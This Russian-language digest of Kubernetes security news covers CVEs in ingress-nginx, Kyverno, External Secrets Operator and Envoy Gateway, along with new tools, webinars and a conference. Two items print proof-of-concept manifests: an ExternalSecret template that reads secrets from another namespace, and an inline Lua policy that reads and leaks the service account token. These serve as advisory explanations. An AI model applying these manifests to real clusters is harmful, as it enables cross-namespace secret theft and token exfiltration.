k8s (in)security

K8sQuest — это локальный симулятор для обучения Kubernetes через практику. Игроки решают 50 задач по отладке (Pods, Networking, RBAC) на кластерах kind или k3d. Платформа бесплатна, не требует облаков и включает систему опыта (XP), подсказки и разборы реальных инцидентов.

В пятом и последнем разделе есть немного задачек по безопасности, связанные с:
- RBAC (ServiceAccounts, Roles, RoleBindings)
- SecurityContext, Pod Security Standards (restricted)
- ResourceQuotas, NetworkPolicies, node scheduling
- Taints/Tolerations, PodDisruptionBudgets, PriorityClass

Ingress-nginx доживает свои последние дни, но это не мешает появляться новым уязвимостям – CVE-2026-1580, CVE-2026-24512, CVE-2026-24513, CVE-2026-24514.

Две уязвимости уже ставшие классическими для этого решения – configuration injection с последующим RCE внутри контейнера с ingress-nginx. Еще одна уязвимость также – configuration injection с последующим обходом auth-url protection. И DoS Admission Controller.

Все четыре уязвимости оценены как High и имеют оценку 8.8 по CVSS.

Конечно, вы можете обновиться на версию v1.13.7 или v1.14.3, но мы крайне рекомендуем переезжать на API Gateway.

Контейнеры, их спецификации и форматы уже давно вышли за рамки просто запуска контейнерных приложений. И сегодняшний проект очередное этому подтверждение.

bootc - это инструмент для транзакционного обновления ОС через OCI/Docker-образы. Он позволяет использовать контейнеры как формат доставки загрузочного ядра и базовой системы. Проект написан на Rust, входит в состав CNCF и поддерживает стабильный CLI для разных дистрибутивов.

По использованию можно посмотреть тут.

Wiz представила SITF (SDLC Infrastructure Threat Framework) — первую в мире открытую модель угроз, специально ориентированную на защиту инфраструктуры жизненного цикла разработки программного обеспечения. Эта инфраструктура (IDE, VCS, CI/CD, Registry) становится привлекательной целью для атак не только на код, но и на сами процессы сборки и доставки ПО.

SITF предлагает визуализатор потоков атак, библиотеку из более чем 70 техник атак с привязкой к рискам и средствам защиты, а также причинно-следственное сопоставление. Это позволяет командам не просто фиксировать инциденты, а понимать и разрывать цепочки атак на ранних стадиях.

gomodjail - это песочница для Go модулей. Она ограничивает syscall, используя seccomp и symbol tables. Это похоже на контейнер для модулей, но с более точной гранулярностью чем у docker контейнеров. Тоесть тут ограничения применяется не ко всему процессу приложения, а к конкретной библиотеке, что в нем используется. Подробнее можно почитать из статьи "gomodjail: library sandboxing for Go modules".

Это хороший митигейшен для supply chain атак ... в условия множества сторонних недоверенных библиотек.

Данный проект можно хорошо сочетать с проектом Capslock о котором мы писали раньше и представляет из себя инструмент capability analysis для Go приложений.

Продолжаем эту неделю с двух серьезных уязвимостей в Kyverno.

1) CVE-2026-23881: Kyverno Denial of Service via Context Variable Amplification in Policy Engine.

Используя комбинацию из функций random() и join() в jmesPath, злоумышленник с возможностью создавать политики Kyverno может устроить DoS для admission controller. Если failurePolicy установлен в Ignore, это открывает возможность злоумышленнику деплоить нагрузки в обход политик.

2) CVE-2026-22039: Kyverno Cross-Namespace Privilege Escalation via Policy apiCall.

В Kyverno есть функционал, позволяющий обращаться в политике к Kubernetes API – apiCall. Эти обращения выполняются от имени высокопривелигрованного Service Account Kyverno, что позволяет читать содержимое Secrets и Configmaps из других неймспейсов. Злоумышленник, обладая правами на создание политик в рамках выделенного неймспейса может прочитать секреты из других неймспейсов и повысить свои привилегии.

Уязвимости присвоена оценка 10/10 по CVSS.

P.S – исправления доступны в версиях 1.15.3 и 1.16.3.

P.P.S – эксплойты для этих уязвимостей содержатся в описании к GHSA.

С гордостью можем сказать, что наша образовательная инициатива живет и развивается.

Речь, конечно, тут про кураторство и помощь в научно-исследовательской деятельности в области безопасности контейнеризации и Kubernetes.

И если вы только что узнали об этом и хотели бы поучаствовать, то можете смело заполнять анкету на сайте и мы с вами свяжемся (места еще позволяют).

Сегодня в центре внимания статья "Kubernetes Remote Code Execution Via Nodes/Proxy GET Permission".

Из названии статьи уже понятно, что исследователь показывает как получить RCE с помощью права на чтения GET (без CREATE).

По сути это аналогичная ситуация как и с pods/exec (о которой мы писали ранее). И при этом ситуации с pods/exec уже починили (правда спустя время), а тут разработчики отказались и сказали что все штатно ... (но может также еще передумают).

Из дополнительных ресурсов:
- Скрипт для анализа кластера на наличие таких прав у SA
- Лаба для изучения данной ситуации

Kubernetes объявил о создании новой рабочей группы Checkpoint/Restore WG, которая будет заниматься стандартизацией и развитием механизма checkpoint/restore в Kubernetes. Цель — встроить работу с сохранением и восстановлением состояния приложений в Kubernetes на системном уровне, опираясь на опыт и инструменты CRIU.

Ключевые сценарии — ускорение старта тяжёлых приложений, пауза и возобновление длительных вычислений (ML, batch-задачи), а также более эффективное использование ресурсов кластера.

Рабочая группа открыта для сообщества: запланированы регулярные встречи, обсуждения архитектуры и API, а также координация с другими SIG.

Некоторое время назад мы уже писали про файл .kuberc, который позволяет персонализировать kubectl.

А сейчас на официальном блоге Kubernetes вышла заметка "Kubernetes v1.35: Restricting executables invoked by kubeconfigs via exec plugin allowList added to kuberc", где этому файлу уже приделывают security функциональность.

По сути это защита от того, что пользователю подсунули специально подготовленный kubeconfig файл и он не глядя его запускает, и тот в свою очередь запускает указанные в нем исполняемые файлы.

И сейчас можно или разрешить все, или запретить все, или задать белый список.

Обнаружена уязвимость CVE-2026-22822 в External Secrets Operator, связанная с функцией шаблонизации getSecretKey. Она позволяет при создании ресурса ExternalSecret читать Kubernetes секреты из других namespace, минуя ожидаемые ограничения доступа.

Достаточно создать ExternalSecret с шаблоном, в котором явно указан чужой namespace, и оператор подставит значение секрета:

apiVersion: external-secrets.io/v1
kind: ExternalSecret
metadata:
  name: test
spec:
  # THIS IS NOT USED AT ALL, CAN BE ANY STORE YOU HAVE
  secretStoreRef:
    name: a-secret-store
    kind: SecretStore
  target:
    template:
      data:
        password: '{{ getSecretKey "a-secret-name" "another-namespace" "a-key" }}'
  # THIS IS NOT USED TOO; it's just a requirement for the validating webhook
  dataFrom:
    - extract:
        key: something

Проблема устранена в новых версиях оператора, где функция getSecretKey удалена.

Dockadvisor - быстрый, легковесный линтер Dockerfile написанный на Go, который (очевидно) помогает найти различные общие проблемы и анти-паттерны.

В его составе порядка 60 правил. Каких-то уникальных правил найдено не было - все достаточно стандартно для подобных инструментов (Dockle*, Hadolint, KICS, Checkov, Semgrep).

Из приятного есть наличие красивого web-интерфейса с подсветкой и при этом можно использовать как и чисто go библиотеку.

22 января в 11.00 проведем вебинар "Платформа контейнеризации под защитой: объединяя знания Deckhouse и Luntry" совместно с командой платформы Deckhouse.

Там рассмотрим:
- На что стоит обращать внимание при выборе платформы в вопросах безопасности;
- На что стоит обращать внимание при выборе наложенного средства безопасности для Kubernetes;

Как всегда, можно будет задавать вопросы и получить практические советы по обеспечению безопасности контейнерных сред.

Зарегистрироваться можно тут.

K8s-ESP-Reference-Implementation — это reference-реализация Kubernetes ориентированного движка для непрерывного compliance-мониторинга на основе ESP политик. Система исполняет политики внутри кластера и формирует криптографически проверяемые аттестации состояния среды.

Архитектура построена по pull модели: агенты периодически получают политики, выполняют проверки и возвращают структурированные, CUI-free результаты. Это позволяет реализовать непрерывный контроль без зависимости от внешних сканеров и тяжёлых runtime движков.

Проект позиционируется как замена традиционных OSCAP подходов с XML-профилями и ориентирован на Сloud Native и DevSecOps пайплайны. Поддерживается маппинг на фреймворки CIS, NIST и интеграция с SIEM и serverless платформами.

Мы уже достаточно давно на наших вебинарах, выступлениях, тренингах говорим о том, что Nodes кластера это не место для людишек пользователей. Ведь это сразу множество проблем от configuration drift до целой модели нарушителя "атакующий на Node".

Всеми силами старайтесь, чтобы люди не появлялись на Nodes или имели туда доступ в редких, регламентных случаях под пристальным контролем.

Кто-то уже решает это с помощью специализированных хостовых ОС для контейнерных сред, типа Talos.

А кто-то как RedHat разработали для своего OpenShift специальный оператор - machine-config-operator, который с помощью специальных custom resources позволяет выполнять операции на Nodes декларативно и без присутствия человека в системе. Его код открыт и доступен, но можно сказать гвоздями прибит к стеку RedHat ...

И вот наш хороший товарищ Дмитрий Путилин зарелизил проект In-Cloud Machine Config Operator (MCO), который решает данную проблему! В данном проекте можно выделить:
• Декларативное управление конфигурацией узлов через Kubernetes API
• Базовые концепции: MachineConfig, MachinePool и рендеринг состояний
• Безопасное обновление файлов на старте (sysctl, systemd unit — в следующей версии)
• Предсказуемые перезагрузки узлов и контроль конфигурационного дрейфа

Полезная информация:
- Документация
- Демо стенд
- Исходники на GitHub

Статья Unpatchable Vulnerabilities of Kubernetes: CVE-2020-8554 подробно разбирает CVE-2020-8554 — архитектурную уязвимость Kubernetes, которая встречается во всех кластерах и не закрывается обычными патчами. Авторы объясняют, как она работает «под капотом», показывают примеры использования ExternalIP и того, как kube-proxy создаёт правила, из-за которых можно перехватить трафик.

В статье пошагово описано, как злоумышленник с правами на создание Service может направить трафик, предназначенный для внешнего IP, в свой под, и какие технические детали iptables-правил стоят за этим поведением.

Кроме того, авторы обсуждают варианты смягчения — например, блокировку ExternalIP через admission контроллеры, использование других CNI решений вроде Cilium и оценку риска в зависимости от модели угроз.

Недавно нам на глаза попался инструмент вот с таким совсем не заурядным описанием)

Проект называется sentrilite и доступен на GitHub!

Давненько не встречались проекты, которые так жестко собирали в своем описание все хайповые слова, технологии и направления)))

Не хотим вас лишать удовольствия от изучения репозитария данного проекта, можно найти много несостыковок, приколов и т.д.

Если вы уже успели переехать с ingress-nginx и используете Gateway, а точнее реализацию от Envoy, стоит обратить внимание на свежую уязвимость в Envoy Gateway – CVE-2026-22771.

Проблема связана с Lua-расширениями: при определённых условиях можно выполнить код внутри прокси и получить доступ к его внутренним данным. В худшем сценарии утекут сертификаты, токены и другие секреты, что открывает путь к управлению трафиком и инфраструктурой.

apiVersion: gateway.envoyproxy.io/v1alpha1
kind: EnvoyExtensionPolicy
metadata:
  name: lua-leak
spec:
  targetRefs:
    - group: gateway.networking.k8s.io
      kind: HTTPRoute
      name: backend
  lua:
    - type: Inline
      inline: |
        function envoy_on_response(response_handle)
          local token = io.open("/var/run/secrets/kubernetes.io/serviceaccount/token", "r")
          local content
          if token then
             content = token:read("*all")
             token:close()
          else
             content = "file-not-found"
          end
          io.write(content)
          error(content)
        end

Уязвимость затрагивает версии до 1.5.7 и 1.6.2 и уже исправлена в обновлениях. Если Envoy Gateway используется в проде, обновляться лучше как можно скорее, а пока — ограничить доступ к созданию политик с Lua через RBAC.

Мы продолжаем готовиться к нашей конференции БеКон 2026 по БЕзопасности КОНтейнеров и Kubernetes!

У нас на сайте появилась кнопка/раздел "Заказ доклада"!

Что это такое?

Программа любой конференции всегда формируется из того, что потенциальные докладчики приносят на CFP или из того, что прорабатывают участники программного комитета конференции. НО мы решили пойти дальше и дать возможность участникам/посетителям сформировать свой запрос к программе конференции!

"Заказ доклада" — это возможность сказать/запросить, то, что бы было интересно и полезно послушать, чтобы конференция была для вас еще более полезной. А мы уже как программный комитет беремся за то, чтобы такой доклад появился в сетке докладов нашими силами или силами наших друзей, коллег, знакомых, ...

Это уникальная возможность, которой нет ни у кого.

P.S. Также принимаем и ждем ваши заявки на CFP ;)

Из статьи "Securing Kubernetes: The Network Policy Reality" вы узнаете результат опроса 530 участников о их жизни и взаимодействии с Network Policy в Kubernetes.

Давно понятно, что их использование это строго обязательно (must have), но для этого как правило требуются дополнительные процессы и инструменты, чтобы жить спокойно.

Так у нас в Luntry мы начинали с того что сначала просто отображали сетевую карту взаимодействия, а потом уже генерацию на ее основе Native, Calico и Cilium политик.